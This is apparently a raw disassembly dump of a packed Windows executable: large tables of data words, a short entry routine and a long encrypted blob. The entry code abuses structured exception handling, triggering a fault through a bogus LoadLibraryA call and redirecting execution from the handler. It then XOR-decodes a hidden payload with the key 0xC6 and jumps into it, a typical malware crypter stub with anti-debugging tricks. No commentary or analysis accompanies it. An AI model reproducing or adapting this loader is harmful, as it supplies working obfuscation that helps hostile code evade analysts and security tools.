		dd 38663855h, 38923875h, 392038ECh, 393F3932h, 3A0E39E4h
		dd 3A833A67h, 3B263AA0h, 3BA23B2Eh, 3BD23BAFh, 3C1A3BDEh
		dd 3D0C3C9Dh, 3D733D3Dh, 3E473DE5h, 3EDA3E5Bh, 3F243EE1h
		dd 3FA33F57h, 3FB9h, 28000h, 98h, 305E301Dh, 30A03064h
		dd 30DD30C3h, 312830F0h, 31AC318Ah, 323531BAh, 32F53261h
		dd 33823324h, 33F13391h, 3489344Bh, 34C03495h, 35393519h
		dd 35A33592h, 35B935B4h, 366035DBh, 372B36B5h, 3764374Ch
		dd 37DC37C4h, 382C37F4h, 3863385Eh, 38C43875h, 39D03945h
		dd 3A503A02h, 3A6C3A5Eh, 3B703A92h, 3BCD3B91h, 3CA23C5Fh
		dd 3CEE3CBAh, 3D883D33h, 3DC23DB2h, 3E063DCDh, 3E173E12h
		dd 3EFA3E77h, 3F583F08h, 3FAD3F65h, 3FC8h, 29000h, 74h
		dd 30453018h, 30BF30ABh, 313A30EFh, 316E3156h, 33213287h
		dd 33983364h, 342833D0h, 34BE3473h, 34EA34C9h, 35B034FCh
		dd 35C535BFh, 362935E8h, 36A6365Ch, 36F736C8h, 3730371Eh
		dd 383737BFh, 38843858h, 3A0F38CEh, 3A323A14h, 3AA83A82h
		dd 3B433AADh, 3D1A3B68h, 3D763D33h, 3E033DBCh, 3E9F3E20h
		dd 3F013EC0h, 3FFBh, 2A000h, 7Ch, 30323019h, 30843066h
		dd 311D3106h, 31B33132h, 322B31D1h, 3265324Dh, 3280327Bh
		dd 32D93293h, 333F3321h, 344833D1h, 3469345Fh, 34CE34B3h
		dd 3558350Bh, 36A5359Fh, 376736F1h, 37E637CAh, 3893381Eh
		dd 392738FFh, 39DC3973h, 3A223A06h, 3AEA3A38h, 3B4F3B19h
		dd 3B973B5Eh, 3C573C0Fh, 3DD73C79h, 3EB53DDEh, 3F373EE4h
		dd 3F9C3F54h, 3FF73FF1h, 2B000h, 0B0h, 306F301Bh, 30BF30BAh
		dd 315E310Bh, 31C4317Eh, 32B031CFh, 32CE32BBh, 333F32FFh
		dd 337C3376h, 339F3394h, 341433C1h, 34A43491h, 34BC34B0h
		dd 35373502h, 35D035A2h, 361835FCh, 36633630h, 36E136C2h
		dd 37473719h, 377F3761h, 37BA37AEh, 38693818h, 390B3876h
		dd 39663946h, 39D739ABh, 3A1339E2h, 3A3E3A27h, 3A8D3A88h
		dd 3ACC3AA0h, 3AFE3AF8h, 3B213B1Ah, 3B453B37h, 3C043B6Ch
		dd 3D183C82h, 3D5E3D42h, 3DB53D77h, 3DF23DDBh, 3E5B3E3Ah
		dd 3F3D3EFFh, 3F503F4Bh, 3F703F6Bh, 3F9C3F7Eh, 3FC4h, 2C000h
		dd 78h,	3154307Ch, 3221320Ch, 32A03261h, 333C32E6h, 337E3358h
		dd 3455338Ch, 350D34B6h, 35A93569h, 35DE35C2h, 367D3612h
		dd 36EF36A2h, 37073702h, 37923766h, 37CA37ADh, 38453834h
		dd 389D3884h, 391938FDh, 39AC3933h, 39E439B6h, 3A963A76h
		dd 3B3E3B13h, 3C353C18h, 3D123CFAh, 3D873D1Fh, 3E503DE7h
		dd 3F0A3EA4h, 3FE83F22h, 3FFEh,	2D000h,	70h, 302D3013h
		dd 310430A3h, 317D3141h, 321F3218h, 32573224h, 32E432B0h
		dd 338032F5h, 342833A6h, 348D346Ah, 356F34AAh, 36243580h
		dd 375636B1h, 37BC379Fh, 38793810h, 395A3920h, 3994397Dh
		dd 3AB539A7h, 3B423B2Eh, 3BB53B72h, 3C3A3BEAh, 3D073C53h
		dd 3D913D36h, 3DC33D9Dh, 3E3D3E08h, 3EF03E9Bh, 3F5B3F47h
		dd 2E000h, 5Ch,	30F13091h, 31543126h, 320E31E0h, 32A4322Ch
		dd 337E32B4h, 33EC33B7h, 34F23476h, 356E355Ah, 35CF3584h
		dd 373836E8h, 38AB379Fh, 38DA38BCh, 392538F0h, 3A7D3940h
		dd 3C553BC1h, 3CED3CE8h, 3D193D08h, 3DE53DAFh, 3E933E87h
		dd 3ED63EC3h, 3F94h, 2F000h, 7Ch, 302D3021h, 305B3034h
		dd 30F030DFh, 315430F5h, 327A3265h, 344432F0h, 351E345Ah
		dd 35453537h, 360035ABh, 3675366Fh, 36983692h, 37CF37B3h
		dd 380837F4h, 3821380Eh, 389E3883h, 38D538ABh, 391338DCh
		dd 3A3D39A3h, 3A7F3A70h, 3BAC3B8Fh, 3C593BE6h, 3CEB3CD3h
		dd 3D583D16h, 3D753D5Dh, 3DA13D83h, 3DFE3DF4h, 3EAF3E66h
		dd 3F0F3EE6h, 3FA93F52h, 30000h, 10h, 3023301Fh, 3033h
		dd 4 dup(0)
		dd 0C32C5635h, 0E3A59816h, 604DD45Ah, 0EDE1494Ch, 3C437446h
		dd 0E01CED39h, 7988D08Fh, 5B6684F8h, 6DE4D4B3h,	8945D1B2h
		dd 0FFDA157Ch, 5863271Ah, 9C78A8A2h, 92F8A2C7h,	8CC6B9A7h
		dd 9448BDBDh, 0B1483D81h, 0C10432BFh, 0F4F03F35h, 207EDC94h
		dd 517FB3BDh, 0B4A78745h, 4C6A4188h, 8FF2CA45h,	990457EFh
		dd 0FEB22C7Dh, 0CB1AA36Fh, 0D1F5E384h, 3DE9B222h, 80240079h
		dd 0A3E026h, 0B7CA5C58h, 841327F8h, 187D3EA8h, 0FB9446D3h
		dd 2648571Bh, 2ABC07D0h, 0F54A065Ah, 2FC76F1Dh,	0E7B3A4A6h
		dd 0AEC0D830h, 0A1B149D3h, 1B60A2ABh, 13833398h, 0E3975B7h
		dd 0BA513860h, 6C882DE8h, 0A8DA63A3h, 0BDEB9A0Fh, 0A435FA87h
		dd 2EBBDEFFh, 9A007C8Fh, 8241D07Fh, 950F75D5h, 3EF46CD8h
		dd 0FBC95CD8h, 658E031h, 0B33346A8h, 2E707BE7h,	8727D2C3h
		dd 0F58FEF07h, 0FCDC1ACAh, 40233B5Ch, 62AE381Dh, 4FDC0C85h
		dd 7092718h, 47E73B4Ch,	48573734h, 0EE94793Dh, 2D266629h
		dd 49A87F3Fh, 0B077FB25h, 9325119Fh, 120A5B97h,	0DFFEB7AAh
		dd 6D4E36F9h, 9A4023F6h, 7D883820h, 0D131FF9Eh,	0C68F769Dh
		dd 0FFFF0FF9h, 54A68F6h, 2F4FE39Bh, 7EE284C6h, 1A677CD3h
		dd 276839DDh, 77636AD3h, 0EA7BE784h, 853170A8h,	4DAE5DEh
		dd 0A2379DBBh, 7EAE90F7h, 0B510D160h, 2C42E1A0h, 0C861625Eh
		dd 99D965B0h, 0EC432169h, 0DAF6011Bh, 7E8A3EA8h, 969585CFh
		dd 627370CEh, 38512C5h,	0D3E9FBE4h, 553750D7h, 0B09137D7h
		dd 82AFDED8h, 0EB605DD8h, 42E05AF4h, 0EDCE2A60h, 0FD36F99Dh
		dd 136C7A1Eh, 20B5084Ch, 2A66840Ch, 0DC723945h,	0A21B596h
		dd 1462AC18h, 0C486292Ch, 8585C8C3h, 0C686A61Eh, 179D8739h
		dd 0DD377E19h, 9CF48134h, 98026EA7h, 837357F5h,	1A5E6FBAh
		dd 48EA2921h, 191C6D1Bh, 0E7EF4D54h, 17B41524h,	0BA18FF2Bh
		dd 0BDB0569Ah, 0E643A6F6h, 196FEA1Bh, 0B7E2D3A1h, 67E246B4h
		dd 59C87CEEh, 0EA4B997Ah, 0B57DFB95h, 1F1D3B4Ch, 0B5C64E93h
		dd 392E679Bh, 3CDF594Bh, 0E593A12Eh, 3374D4A9h,	223C7FB4h
		dd 0E92D6800h, 0B9EA2209h, 0B68DD988h, 0E04E89E7h, 18900CEBh
		dd 3B452F5Dh, 0CBA1E81Eh, 0B1A5922Bh, 8B4AA5D8h, 1CB52C36h
		dd 2DD6FD56h, 1EB83063h, 0AA65ECD9h, 9E6E5C4Bh,	0B6727D12h
		dd 0DC996666h, 261078E5h, 2CAB9378h, 3BBBC326h,	0D312C78Ch
		dd 7CF3060Bh, 6941E2BDh, 5B60F9DDh, 758EBE9Ah, 424DC03Eh
		dd 91912B38h, 0A51D2AF2h, 386DB9F7h, 81BF67D0h,	0E010BADEh
		dd 7AC1A248h, 0DA6E3D22h, 0CB65C9E0h, 354A5B5Eh, 14CEE549h
		dd 7388EA5h, 2CF08A7Eh,	0C927D06Dh, 96F95E5h, 889391EBh
		dd 0E3A74E8Fh, 2F1379B2h, 0F366504Ah, 37B92967h, 0A3CAC9C6h
		dd 9F8B1B26h, 82F3E992h, 0B6766F30h, 3D034726h,	92614BBBh
		dd 0D281B4Ch, 0E56A3CB0h, 0FF944AA7h, 0A44C3C4h, 0A9BCEAAFh
		dd 7260834h, 0C441AED7h, 0C2A7ECBBh, 0A86ADF1Fh, 6B1C2A21h
		dd 7796D3D3h, 0D3D47F0Fh, 7329DFC5h, 2F2F0AFEh,	0CF6707E3h
		dd 0F840E66Dh, 148B42C9h, 0F80508E3h, 3B192876h, 8DBB9652h
		dd 7CE06611h, 30F45955h, 907DE6DDh, 966E51E7h, 0A84B3A3Eh
		dd 52BBCF2Dh, 607DC2E0h, 0B2F0F339h, 0F2D64B99h, 0FE68242Bh
		dd 2ED59D8Eh, 13A4CA2Ah, 0C30A358Fh, 87AB2663h,	6BCE15FFh
		dd 0B4380943h, 7ACA799Ch, 0E5281D02h, 0E6A247E9h, 30C3DA18h
		dd 0C6763EE1h, 14C6723Fh, 3E763BD1h, 52B88085h,	0E42DC4F2h
		dd 4ABC09BCh, 78B0D0E4h, 0A042F9A9h, 0A24DD09h,	1EB99226h
		dd 0DA278C97h, 447AF0F4h, 6F512B32h, 88A99395h,	2E5C1A06h
		dd 0FDC4D615h, 3AEC93F7h, 28EA6DCAh, 0AA16C68Bh, 27B0885Ah
		dd 9FC793F0h, 3B23030Eh, 1A96C2A8h, 4995DE63h, 0B982EC2Ch
		dd 8979147Ah, 48757E5h,	0E94A720h, 846F7B62h, 373BF2A0h
		dd 4C8F65FFh, 8186019Ch, 2E0C4CDCh, 0A67F2FAEh,	0FE5B8E4Eh
		dd 0B48ECB2Ch, 5ACA0232h, 98EB5233h, 456B7D8Bh,	52FBC1BAh
		dd 0D6CA854Fh, 0B78A5C24h, 0FA8261F3h, 0C2846ADBh, 9A887D1Dh
		dd 52F07598h, 928A311Dh, 0C92E0493h, 84B2A6D1h,	15C32A5Bh
		dd 0F36EDA13h, 79362237h, 1A76C638h, 0B1DA025h,	0B2AB60F8h
		dd 0B8409454h, 0D7B38290h, 82DE24DCh, 122BA662h, 5FBEBADh
		dd 5D079A91h, 0BE5BE9ECh, 4148F8D0h, 8A081590h,	693D127Fh
		dd 352C2C42h, 120DE4EFh, 0C365D358h, 3DD483DEh,	1B5F95F9h
		dd 960CE886h, 7820F0A3h, 0FFE07772h, 0EE845201h, 84F98B7Bh
		dd 0E2448497h, 0FFE8EEA8h, 0D6454970h, 3B6AF8B2h, 5F2D41C0h
		dd 0D7FD436Dh, 0C7815EE5h, 8A44640Ah, 5C4EDF7Dh, 0ADB61B8h
		dd 444331Eh, 2F802C87h,	0B37A7557h, 0E6A6D0C6h,	0FEA1549h
		dd 3B92DC6Eh, 4EEE964Fh, 313E11B6h, 31063722h, 0C932EA00h
		dd 44DF1361h, 89897B00h, 0E6408684h, 88ED3F67h,	27C1CA7Ch
		dd 0B1E88DB4h, 5E128C55h, 0E14FBC0Dh, 0B973737Eh, 32D469D6h
		dd 3BAD1906h, 0B1A1F89Dh, 3A81C256h, 3E3489Ch, 914D5B77h
		dd 8DF2788Ch, 0A65F23C7h, 0F839148h, 0D622573Bh, 0A9AB166Ah
		dd 0CB0CF0D5h, 1FC61C2Dh, 485C5608h, 18C1524h, 2C184120h
		dd 5A8A8FF4h, 0A80C5FDDh, 0C8043C7h, 7A128FA6h,	9EF0E849h
		dd 0B9725A06h, 90314274h, 407CE51Eh, 0A7C0BEFFh, 0AE2FF9B6h
		dd 0B7BC6FE9h, 0AEFEAC1Fh, 0AB5C7A2Ah, 456FA28Eh, 0FE415EDEh
		dd 7CF94FC1h, 0FE71B2D1h, 1A302A74h, 65620495h,	1DBC6A5Ch
		dd 9BACE501h, 7E964F83h, 0C2582F7Ch, 59BBB109h,	0A8B6218Ch
		dd 4B17A9E6h, 0D7DAA9C2h, 187EFDACh, 0BCEDD3ABh, 113039D3h
		dd 77D566A7h, 91E5475Eh, 756E8E69h, 0ED349E75h,	0A7A949EDh
		dd 267AEBE7h, 44821410h, 36F54047h, 7DA70340h, 0F8CFA74Eh
		dd 8ABF75A3h, 29ADA039h, 35DEDD98h, 774094C5h, 0D404DBE1h
		dd 0C583D8D1h, 0E1A1E151h, 6E0270BDh, 3554BE29h, 0CE17F7C6h
		dd 111D366Fh, 8D24DBBBh, 8DDEABBCh, 0A06AC6BAh,	29F77C9Eh
		dd 7A435EF5h, 7FF7B8F9h, 0D1A8A5B2h, 40C6CBF5h,	0BB1774F6h
		dd 8EF91106h, 82D0A4BEh, 0A8F99F7Eh, 3AD945BDh,	53B27DECh
		dd 4D8A5B0Ch, 5A66EBA5h, 2A49E863h, 3A917112h, 5737FDBDh
		dd 4B771968h, 0B1F3EA3Dh, 0B5721FB1h, 8CD68386h, 0E3CA9F4Ch
		dd 4D7EEE62h, 0D591F245h, 0E3F0B982h, 4ED7208Ah, 62677186h
		dd 0BA16605Ah, 82F6113Bh, 2E20ADC2h, 339111C8h,	6319CEF4h
		dd 9924417h, 7955F75Dh,	0EECA0D73h, 60D293D8h, 0B00259D2h
		dd 544D39B7h, 0D08387AFh, 34A11B4Eh, 0AC5EADBCh, 0CA681479h
		dd 0FAE76442h, 0DA256A9Ah, 9124CAF4h, 0A489F7C6h, 0D1B508EEh
		dd 9DB85F1Eh, 0E5B57783h, 0F9FD0AB1h, 0C6B9A695h, 9BE6C329h
		dd 7D6848F6h, 86B31ADh,	6CACE86Ah, 182D9355h, 612676DEh
		dd 732BAEA3h, 54454619h, 62B151F4h, 6FC83C2Ch, 0A1EFA1D0h
		dd 16CEBEFAh, 4E4E8988h, 31F9A128h, 5651FDh, 6B49FA4Fh
		dd 2BD1F9C4h, 175D34DCh, 0B659BBC4h, 176D145Bh,	1546B5C2h
		dd 3A634Ah, 0F8F0ECBCh,	5F816EB3h, 26E069EAh, 0F6EFE91Dh
		dd 154ED5C3h, 50568172h, 6F4AB435h, 373E46C2h, 0F845EDB0h
		dd 0EF3FA9B4h, 5A334780h, 4C656BA4h, 39A40DB7h,	0F2E8169Bh
		dd 0B2B89321h, 0C59966E1h, 0DCE8FB8Dh, 744E9F96h, 0AF612912h
		dd 3A13C1D5h, 2AD67F6h,	759D2D5Ch, 0E572877Ch, 0D1BAE689h
		dd 0C34AA4FEh, 3F9B33FAh, 42F0FA50h, 4FCF92A9h,	3E9A4324h
		dd 9B7F7415h, 0A5D31572h
		dd 672C1D01h, 4333D119h, 5BEFA973h, 3257C123h, 0A58C6E7Bh
		dd 0EABFC983h, 8A13F2Bh, 59FAAE7Fh, 0C571B365h,	0AEEC5F71h
		dd 0D7063CB2h, 792CD819h, 0A77542F4h, 324CB46Dh, 3F2FF37Bh
		dd 0C8BA891Bh, 2EB58F29h, 1DCE4373h, 6DC0C246h,	0E07D7B4Bh
		dd 4DBCBC8Ch, 46CBE32Bh, 42929C38h, 0A88611C1h,	2F13A8B6h
		dd 0DA33844h, 2B9C7FA9h, 9FE6EAD9h, 922844h, 96BA704h
		dd 4A407964h, 0C2C9C04Dh, 5EEDEB06h, 365488Eh, 0C3157B93h
		dd 0A4B28BEh, 872791FBh, 3B1E2B8h, 0DEA9BA70h, 0C35102E2h
		dd 0A21B3C13h, 0C15F1204h, 0F79D4C99h, 57BED2C5h, 3C8B0785h
		dd 0F6D0AE57h, 0C5B71C74h, 0F9724471h, 3EEB4639h, 589859Eh
		dd 29111797h, 10ADAA32h, 0CEB0130Bh, 6BB044E6h,	0D135FD16h
		dd 8D80C267h, 0D6902A9h, 8072F80h, 473362A0h, 0FB9DCEC7h
		dd 0BEEFD538h, 5F02221Dh, 2E30E975h, 825C697Fh,	35C27D36h
		dd 6DE2AEADh, 0DC81D660h, 9BF2DFF2h, 1F78A445h,	601D0331h
		dd 0F5B05FBAh, 0EB7453B9h, 9A534B24h, 0C7910FBAh, 0E5E57AC1h
		dd 461EF1Ah, 0CACE4305h, 0CB1BAD64h, 0EF808D3Ah, 0F40ECF84h
		dd 0F949DE3Fh, 311C6DDh, 0A69D2368h, 1B62A997h,	7C1BD9CBh
		dd 0AE76B416h, 1930A45Bh, 0C8B4111Bh, 6C0C1285h, 894638FAh
		dd 0B7E8D978h, 0E4DFFF2h, 14D35848h, 0D588F9AFh, 0EC6F225Dh
		dd 5659C42Fh, 6DC48D59h, 0BF31395Fh, 0EC2B1EE6h, 5CD0713Ch
		dd 0EBC6AE84h, 57D96C2Ah, 0DC0AE021h, 0DDE4C0EFh, 0FC929268h
		dd 5830B430h, 0E4AD680Dh, 33D844D1h, 0C7BA5FCBh, 0AF4F3496h
		dd 587A1233h, 355A963Fh, 18C14E73h, 9DD58EDh, 9846B303h
		dd 522A30B6h, 33F00C17h, 0B604ADEDh, 92F5BA42h,	56FE0AE1h
		dd 62DA5086h, 0B1E42FB4h, 5B5514CAh, 0FC2A1FE3h, 0F8522AA7h
		dd 0AA35CB1h, 369B6CB9h, 0B1398CBEh, 22BEE638h,	36015275h
		dd 0FACD46Eh, 0D41F14A5h, 426A036Ah, 3B8BCA12h,	414613E3h
		dd 98722E83h, 0DBD89B55h, 0B6DF4DA9h, 305F5BB0h, 42711A0Bh
		dd 934E06F5h, 1DE84E53h, 7DA0B790h, 7C90044Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_43201B
		call	sub_432084
		mov	ebp, fs:0
		lea	ebp, [ebp+8]
		jmp	loc_432049
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_43201B	proc near		; CODE XREF: start+3p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	ecx, ecx
		push	400h
		push	ecx
		push	ecx
		push	ecx
		push	10h
		push	ecx
		push	ecx
		push	ecx
		push	10000h
		push	4		; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA


loc_432049:				; CODE XREF: start+16j
		call	$+5
		pop	ebx
		add	ebx, 43h
		push	ebx
		xor	ecx, ecx
		xor	ecx, 243Ch
		mov	edx, 0C6h


loc_432063:				; CODE XREF: sub_43201B+57j
		mov	al, [ebx]
		xor	ax, dx
		xchg	al, [ebx]
		add	ebx, 1
		sub	ecx, 1
		or	ecx, ecx
		jnz	short loc_432063
		pop	ebx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	ebx
sub_43201B	endp


; =============== S U B	R O U T	I N E =======================================



sub_432084	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_432084	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 56h,	2Eh, 0C6h
; ---------------------------------------------------------------------------
		mov	dh, 0C6h
		dec	ebp
		retn	31E2h
; ---------------------------------------------------------------------------
		db 46h
		dd 0C6C6E2EDh, 46C6C6C6h, 0EF6A5E4Fh, 9A4DC6C6h, 0EBB2C2E2h
		dd 764F9F3Ah, 0C6C6EF76h, 0EF727E4Fh, 7E46C6C6h, 0C6C6E2E9h
		dd 0C5CBB32Eh, 0C6E2F65Eh, 0C49D4DC6h, 0CE2DF539h, 0E2F75E4Dh
		dd 0F539C6C6h, 4753939Dh, 9DC2E2AAh, 47C6C6AAh,	3936C625h
		dd 0C02B4739h, 4DC686D6h, 4BC2E2BAh, 86F2FA73h,	0C6C67FC6h
		dd 6235C6C6h, 9288BD47h, 0B3B5AFAEh, 0FA854DCBh, 0A0DEC24Bh
		dd 8396FE47h, 2D47CEB2h, 0C6C6C7C6h, 964D24B3h,	4D15C5BEh
		dd 8C4DE6B4h, 9735C5DEh, 4705C56Bh, 81C639BEh, 0DDB3B2A3h
		dd 96C5BE47h, 0B3A5A9B4h, 0C1BE47D4h, 0B4A2A287h, 0BE47CFB3h
		dd 0B5B5A3CDh, 24C3B2C6h, 59B9F11h, 4DE2CAEFh, 0C59FE2B4h
		dd 0C271C935h, 0DABC4D88h, 0F24D3DC5h, 2E35C541h, 0C6C6C6CAh
		dd 0B5A9AA85h, 0A8A78EA3h, 0C6A3AAA2h, 4F103995h, 86F3FA43h
		dd 0C6CB2EC6h, 0B485C6C6h, 0A3B2A7A3h, 0A8A3B083h, 95C687B2h
		dd 434F1039h, 0C686F386h, 0C6C6CB2Eh, 0B2A381C6h, 0B2B5A78Ah
		dd 0A9B4B483h, 3995C6B4h, 82434F10h, 2EC686F3h,	0C6C6C6B6h
		dd 0E7B20643h, 82533996h, 43C686F3h, 4BD6B306h,	86D71443h
		dd 39964CC6h, 0C6C6A82Eh, 39BA2DC6h, 86F3FA53h,	0F74331C6h
		dd 0C6C686F2h, 0B246C6C6h, 0F3734BD8h, 4DC686F2h, 62C2E2BAh
		dd 745B4D63h, 4DC686FFh, 86FF7073h, 7C7B4DC6h, 9BC686FFh
		dd 0C6AC9C05h, 0C6ACC6ACh, 0C7AEC6ACh, 4DC6C2C6h, 96C6AC02h
		dd 24DCAACh, 92902439h,	0C6C6F599h, 1C2E0FF5h, 4B393939h
		dd 86D76753h, 979794C6h, 86533996h, 45C686F3h, 4C05E602h
		dd 0E4997F34h, 0D6F6C6C6h, 2410C486h, 981B053Fh, 0D7A7D1D9h
		dd 0A6ADCDE8h, 0FFDAACE0h, 0E3B3B6D0h, 0E782E159h, 674F98B3h
		dd 6D989F4h, 9BD7044Ah,	0EAC7413h, 717D6D48h, 8D353155h
		dd 885495B2h, 3E5C54EDh, 1D7CBD18h, 6C8FEF83h, 0DA86E553h
		dd 623AA4B5h, 76638DE8h, 0BF1A6C9Fh, 965B3CA3h,	0A7025454h
		dd 4DD6C349h, 0D0AA4977h, 4EB2501Fh, 1F53B11Ch,	0B78A22D7h
		dd 54FA9944h, 0B1C0177h, 0C78A42AFh, 3A567D08h,	6FFFB911h
		dd 0F2880D00h, 1758D1FCh, 0B666D897h, 0BF9F39A4h, 1567315Fh
		dd 0EA95DE33h, 93EE9D0Dh, 0F6858234h, 3BE68FD4h, 0A7529C9Dh
		dd 0B643EDC8h, 9FFA4B87h, 0E9C97003h, 0C82ADEFh, 40165724h
		dd 7A07F094h, 5B463FFDh, 2B793A4Fh, 0BD7E5AA1h,	578DE5E3h
		dd 0AB577513h, 12927473h, 573D5D38h, 0EA4CD4h, 458E7E4h
		dd 7778A623h, 0E3E6AC22h, 37FA19C0h, 0CBF795B0h, 723294D3h
		dd 0F35BFDD8h, 51CFED1Bh, 1BAC1A7Fh, 97B2392Ch,	344CDECh
		dd 0A89651A5h, 34634BAh, 0E783A14Dh, 662E88C7h,	0C58289F4h
		dd 44660420h, 77E7A109h, 0A34B8508h, 4BD3D984h,	0E149AA8Eh
		dd 0DC198ECh, 6661B732h, 6F4A1C68h, 584554ABh, 17476181h
		dd 47E18DA8h, 40A58713h, 2BD6F378h, 0E3162F0Ch,	0EC3E91B4h
		dd 0CF9FC1E1h, 89348E0h, 0C492F14Bh, 0B3B3A001h, 6EFAD971h
		dd 0D9E863Bh, 44E281AEh, 0F36B85A5h, 0ABC5E994h, 64B99B03h
		dd 22E65477h, 0F3514D28h, 0EA9FB6E5h, 6096F563h, 2737C949h
		dd 0D28E62B8h, 7C888CBBh, 0BE6D85E0h, 0B71244C4h, 0ACCF9D77h
		dd 0DF89B081h, 0D7BB5EF0h, 64A20159h, 726FC2D1h, 0DC7C2CDBh
		dd 0A9EE2580h, 5A0D6E41h, 3584395h, 551572A4h, 548F8310h
		dd 0C641E5FCh, 90FE377Bh, 0F409E0Dh, 4E2B5D0Ah,	77522443h
		dd 0E38EB1F1h, 0D2AE92C4h, 3408D8B4h, 0EC04FED3h, 3393F915h
		dd 0C94A6914h, 1F81682Bh, 3B5663D7h, 0F8CC668Eh, 31F2B90Eh
		dd 0E01635B9h, 6C82CB80h, 3B7E77FCh, 0C7EA89B4h, 0E937454Ah
		dd 0C882FFF6h, 0E37B8D9Dh, 0DBB98184h, 0E2783D30h, 0D3A9C1ECh
		dd 3F15BD32h, 6F6069BEh, 0B1D4A72Ah, 3EBC793Ch,	0C3848DA8h
		dd 0EFA51375h, 1E32606Fh, 0FE1D614Ch, 9731227Dh, 7055B453h
		dd 6B26706Dh, 832BB11Ch, 0E80E2DC2h, 5E5F6AABh,	0B6615DDh
		dd 8B670CACh, 4C5E3D0Ch, 0CF5F6474h, 0C9462518h, 22AE4403h
		dd 95464D28h, 331A39E4h, 9EFDDA3Fh, 0E7071BCh, 0B692F4CEh
		dd 2E3C6C53h, 7A83F0CCh, 22AD211Ch, 238ED8C0h, 0AAF6DC8Dh
		dd 5F66D5B0h, 78C86106h, 46F2A827h, 2F0FA914h, 0CD39509Fh
		dd 81A493D6h, 4204D9A3h, 3FCB11F6h, 0CE057510h,	52A084C8h
		dd 0FACC0D1Fh, 6A46A082h, 0ADA62007h, 425EA423h, 2705AD08h
		dd 0F2C4F92h, 5E09C2E6h, 472234FCh, 64CE391Bh, 9A76FCEBh
		dd 1BACE5C0h, 24D5316h,	36EF898h, 0FF9B91DDh, 8A3DA2D0h
		dd 0B3A6ADC5h, 0FFEBE26Fh, 0FCEAC981h, 87C386D6h, 37D2B1AAh
		dd 36B13A5Ch, 1F7AEC34h, 0D7C295F5h, 3DC42AAh, 8761532Ah
		dd 6F6021F0h, 4E798F2Ah, 57322494h, 1F9A4D2Dh, 0BB6791B7h
		dd 0E2E5F590h, 9E72829Dh, 5308E17Dh, 0E823C74h,	7B2B6B21h
		dd 0A7C6E15Ch, 335E7C9Eh, 0B76F6617h, 0CE765505h, 0C896D86Ch
		dd 0BB7A09E7h, 19F66C1Bh, 37AE6540h, 44CD2E01h,	0B692D897h
		dd 0E7F139A4h, 0EABE71D1h, 985521CCh, 93CBA12Dh, 0B48FE034h
		dd 726B7A5Fh, 0EF0A291Ch, 23E72388h, 9FB73C04h,	0B36D4F0h
		dd 87A2416Ch, 731E3DD8h, 0BCDCF854h, 6E4EB03Fh,	8E5991FCh
		dd 36AE8984h, 0FC341B5Fh, 0D837374Ch, 4AA3AFE9h, 0F1F1391Dh
		dd 7B49AC9Eh, 0C8F11913h, 1E446EEEh, 0E3FBD93Ah, 2D0E6AA8h
		dd 0CB98F0DCh, 2607736Fh, 5A9898ECh, 0AF0B0C78h, 7AA397C3h
		dd 0FEF43408h, 6263A884h, 91F3C914h, 281674B7h,	93E3C43Eh
		dd 3C0C4D5Dh, 0BC99ECD7h, 0C9250561h, 52A690F9h, 0CC23085Ah
		dd 776EBCF0h, 0EFD73002h, 625082ECh, 0A7FBC939h, 0E6F5BBCh
		dd 0A9C5A524h, 32067059h, 0AF81E2FCh, 0CF361C4Ch, 4585C7A3h
		dd 0CF31116Dh, 563EA997h, 0DBDE200Ch, 1A43B788h, 9ED4B138h
		dd 0A5A48A4h, 0B0AEFC29h, 3F056C63h, 0AEB6ECC9h, 0F45E1875h
		dd 468C9DF1h, 0EF07006Ch, 755BA388h, 0F0CB391Dh, 1A5D39A5h
		dd 87FFF324h, 1D6B72A9h, 0B6B99DDDh, 23034F40h,	568FD1C5h
		dd 0D2157179h, 47A1A0FCh, 0D7DF3571h, 6752BB91h, 0C0A20009h
		dd 164A49BDh, 86CCD939h, 3A4840ACh, 0D7B3F4D1h,	171A686Fh
		dd 6FAA94C1h, 0EA3E0171h, 53A7A68Ch, 0E0CC382Eh, 0F44A69Dh
		dd 0ADD22027h, 1E6143B9h, 9BCBC327h, 30361985h,	0A2BAF1D1h
		dd 3503734Eh, 7EDEBCE1h, 0C61C1975h, 7D8992E5h,	0F2DE383Ah
		dd 665E82E8h, 93F3FF0Ah, 1B7778B5h, 80ECC83Ch, 23311D79h
		dd 0BDBAE7D1h, 0C803664Fh, 4582F1EFh, 0D02B0E67h, 5908EAF7h
		dd 0FFC52719h, 685091ECh, 80EDD83Bh, 0A441BE7h,	8886D138h
		dd 3E346559h, 0B7AFE8C4h, 0DD330B50h, 58B381E5h, 0C211614Dh
		dd 7F579B8Ch, 0E2C31D11h, 1775C585h, 0F7E2D439h, 177D549Bh
		dd 0B6AEF421h, 2422705Dh, 0A28EE8EAh, 0D633144Ch, 42A4BC94h
		dd 0F2101561h, 717DA699h, 0E6C2242Eh, 0D736FE4h, 87F7C024h
		dd 86E4D8Dh, 0A1A99DDBh, 90F7D5Dh, 3B83E9C9h, 0D3130552h
		dd 57BD98E2h, 0E9D32B54h, 6C53B999h, 0E8F63209h, 737058B3h
		dd 9DC9DD1Ah, 3E7244A5h, 0B29EF8FAh, 1A4328h, 4BBB9CD6h
		dd 0C4242575h, 54B184EFh, 0D0CA1378h, 7B4BAC86h, 94D41505h
		dd 46154BFh, 0AD8ED50Dh, 3A085AB0h, 9893E1D1h, 2E166249h
		dd 7DDE93F7h, 0DF2B2460h, 6CA38CD6h, 0F2E13733h, 6C47B98Bh
		dd 8BD4B90Ah, 573459Fh,	82EEC80Ah, 1C0A5338h, 9F84ECC4h
		dd 0DE056A52h, 588682EFh, 0A3200863h, 6D6AADCAh, 0E8D3211Fh
		dd 754B9798h, 9FFFC82Ch
		dd 674C99h, 9586DC32h, 3E004648h, 0AAB8E8DCh, 0DE2F0D56h
		dd 46B3B8FCh, 0A73B1363h, 4652A9AAh, 0E0C9201Ah, 0F75A084h
		dd 90FCD82Eh, 0D4F429Ch, 0ABA9F037h, 2C187C42h,	86B1D6ACh
